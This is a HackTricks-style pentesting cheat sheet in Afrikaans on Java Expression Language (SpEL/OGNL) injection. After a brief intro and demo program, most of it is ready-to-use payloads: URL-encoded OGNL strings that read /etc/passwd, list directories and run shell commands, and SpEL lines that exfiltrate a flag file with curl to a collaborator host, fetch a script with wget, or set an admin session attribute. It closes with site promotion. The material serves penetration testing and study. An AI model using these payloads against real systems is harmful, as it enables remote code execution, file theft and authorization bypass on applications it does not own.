EL - Expression Language

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Basiese Inligting

Uitdrukkings Taal (EL) is integraal in JavaEE vir die koppeling van die aanbiedingslaag (bv., webbladsye) en aansoeklogika (bv., bestuurde bone), wat hul interaksie moontlik maak. Dit word hoofsaaklik gebruik in:

• JavaServer Faces (JSF): Vir die koppel van UI-komponente aan agterste data/handelinge.

• JavaServer Pages (JSP): Vir data-toegang en manipulasie binne JSP-bladsye.

• Kontekste en Afhanklikheidsinspuiting vir Java EE (CDI): Vir die fasilitering van weblaag interaksie met bestuurde bone.

Gebruikskontekste:

• Spring Raamwerk: Toegepas in verskeie modules soos Sekuriteit en Data.

• Algemene Gebruik: Deur SpEL API deur ontwikkelaars in JVM-gebaseerde tale soos Java, Kotlin, en Scala.

EL is teenwoordig in JavaEE tegnologieë, selfstandige omgewings, en herkenbaar deur .jsp of .jsf lêeruitbreidings, stapfoute, en terme soos "Servlet" in koppe. Nietemin kan sy kenmerke en die gebruik van sekere karakters weergawe-afhanklik wees.

Afhanklik van die EL weergawe mag sommige kenmerke aan of af wees en gewoonlik mag sommige karakters nie toegelaat word nie.

Basiese Voorbeeld

(Jy kan 'n ander interessante handleiding oor EL vind in https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/)

Laai die jar-lêers af van die Maven bewaarplek:

• commons-lang3-3.9.jar

• spring-core-5.2.1.RELEASE.jar

• commons-logging-1.2.jar

• spring-expression-5.2.1.RELEASE.jar

En skep die volgende Main.java lêer:

import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;

public class Main {
public static ExpressionParser PARSER;

public static void main(String[] args) throws Exception {
PARSER = new SpelExpressionParser();

System.out.println("Enter a String to evaluate:");
java.io.BufferedReader stdin = new java.io.BufferedReader(new java.io.InputStreamReader(System.in));
String input = stdin.readLine();
Expression exp = PARSER.parseExpression(input);
String result = exp.getValue().toString();
System.out.println(result);
}
}

Volgende kompileer die kode (as jy nie javac geïnstalleer het nie, installeer sudo apt install default-jdk):

javac -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main.java

Voer die aansoek uit met:

java -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main
Enter a String to evaluate:
{5*5}
[25]

Merk op hoe in die vorige voorbeeld die term {5*5} geëvalueer was.

CVE Gebaseerde Handleiding

Kyk daarna in hierdie pos: https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a

Lading

Basiese aksies

#Basic string operations examples
{"a".toString()}
[a]

{"dfd".replace("d","x")}
[xfx]

#Access to the String class
{"".getClass()}
[class java.lang.String]

#Access ro the String class bypassing "getClass"
#{""["class"]}

#Access to arbitrary class
{"".getClass().forName("java.util.Date")}
[class java.util.Date]

#List methods of a class
{"".getClass().forName("java.util.Date").getMethods()[0].toString()}
[public boolean java.util.Date.equals(java.lang.Object)]

Opsporing

• Burp-opsporing

gk6q${"zkz".toString().replace("k", "x")}doap2
#The value returned was "igk6qzxzdoap2", indicating of the execution of the expression.

• J2EE opsporing

#J2EEScan Detection vector (substitute the content of the response body with the content of the "INJPARAM" parameter concatenated with a sum of integer):
https://www.example.url/?vulnerableParameter=PRE-${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.print(new%20java.lang.Integer(829%2b9))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}-POST&INJPARAM=HOOK_VAL

• Slaap 10 sekondes

#Blind detection vector (sleep during 10 seconds)
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40java.lang.Thread%40sleep(10000)%2c1%3f%23xx%3a%23request.toString}

Verre lêer insluiting

https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=new%20java.io.FileInputStream(%23wwww),%23qqqq=new%20java.lang.Long(%23wwww.length()),%23tttt=new%20byte[%23qqqq.intValue()],%23llll=%23pppp.read(%23tttt),%23pppp.close(),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(new+java.lang.String(%23tttt))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=%2fetc%2fpasswd

Gidslys

https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=%23wwww.listFiles(),%23qqqq=@java.util.Arrays@toString(%23pppp),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23qqqq)%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=..

RCE

• Basiese RCE verduideliking

#Check the method getRuntime is there
{"".getClass().forName("java.lang.Runtime").getMethods()[6].toString()}
[public static java.lang.Runtime java.lang.Runtime.getRuntime()]

#Execute command (you won't see the command output in the console)
{"".getClass().forName("java.lang.Runtime").getRuntime().exec("curl http://127.0.0.1:8000")}
[Process[pid=10892, exitValue=0]]

#Execute command bypassing "getClass"
#{""["class"].forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("curl <instance>.burpcollaborator.net")}

# With HTMl entities injection inside the template
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>

• Uitvoering van opdraggewer op Linux

https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="%2fbin%2fsh",%23ssss[1]="%2dc",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt

• RCE Windows (nie getoets)

https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="cmd",%23ssss[1]="%2fC",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt

• Meer RCE

// Common RCE payloads
''.class.forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(<COMMAND STRING/ARRAY>)
''.class.forName('java.lang.ProcessBuilder').getDeclaredConstructors()[1].newInstance(<COMMAND ARRAY/LIST>).start()

// Method using Runtime via getDeclaredConstructors
#{session.setAttribute("rtc","".getClass().forName("java.lang.Runtime").getDeclaredConstructors()[0])}
#{session.getAttribute("rtc").setAccessible(true)}
#{session.getAttribute("rtc").getRuntime().exec("/bin/bash -c whoami")}

// Method using processbuilder
${request.setAttribute("c","".getClass().forName("java.util.ArrayList").newInstance())}
${request.getAttribute("c").add("cmd.exe")}
${request.getAttribute("c").add("/k")}
${request.getAttribute("c").add("ping x.x.x.x")}
${request.setAttribute("a","".getClass().forName("java.lang.ProcessBuilder").getDeclaredConstructors()[0].newInstance(request.getAttribute("c")).start())}
${request.getAttribute("a")}

// Method using Reflection & Invoke
${"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke("".getClass().forName("java.lang.Runtime")).exec("calc.exe")}

// Method using ScriptEngineManager one-liner
${request.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\\\"ping x.x.x.x\\\")"))}

// Method using ScriptEngineManager
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
${facesContext.getExternalContext().setResponseHeader("output","".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval(\"var x=new java.lang.ProcessBuilder;x.command(\\\"wget\\\",\\\"http://x.x.x.x/1.sh\\\");

//https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt
(T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec("cmd "+T(java.lang.String).valueOf(T(java.lang.Character).toChars(0x2F))+"c "+T(java.lang.String).valueOf(new char[]{T(java.lang.Character).toChars(100)[0],T(java.lang.Character).toChars(105)[0],T(java.lang.Character).toChars(114)[0]})).getInputStream(),T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()))
T(java.lang.System).getenv()[0]
T(java.lang.Runtime).getRuntime().exec('ping my-domain.com')
T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("cmd /c dir").getInputStream())
''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')

Inspekteer die omgewing

• applicationScope - globale aansoekveranderlikes

• requestScope - versoekveranderlikes

• initParam - aansoekinisialiseringsveranderlikes

• sessionScope - sessieveranderlikes

• param.X - paramwaarde waar X die naam van 'n http-parameter is

Jy sal hierdie veranderlikes na 'n string moet omskep soos:

${sessionScope.toString()}

Toestemmingsverbyloopvoorbeeld

${pageContext.request.getSession().setAttribute("admin", true)}

Die aansoek kan ook aangepaste veranderlikes gebruik soos:

${user}
${password}
${employee.FirstName}

WAF Deurloop

Kyk https://h1pmnh.github.io/post/writeup_spring_el_waf_bypass/

Verwysings

• https://techblog.mediaservice.net/2016/10/exploiting-ognl-injection/

• https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf

• https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools

• https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt

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Leer AWS hak van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

• Werk jy in 'n cybersecurity maatskappy? Wil jy jou maatskappy geadverteer sien in HackTricks? of wil jy toegang hê tot die nuutste weergawe van die PEASS of HackTricks aflaai in PDF? Kyk na die INSKRYWINGSPLANNE!

• Ontdek Die PEASS Familie, ons versameling eksklusiewe NFTs

• Kry die amptelike PEASS & HackTricks swag

• Sluit aan by die 💬 Discord groep of die telegram groep of volg my op Twitter 🐦@carlospolopm.

• Deel jou haktruuks deur PRs in te dien by die hacktricks repo en hacktricks-cloud repo.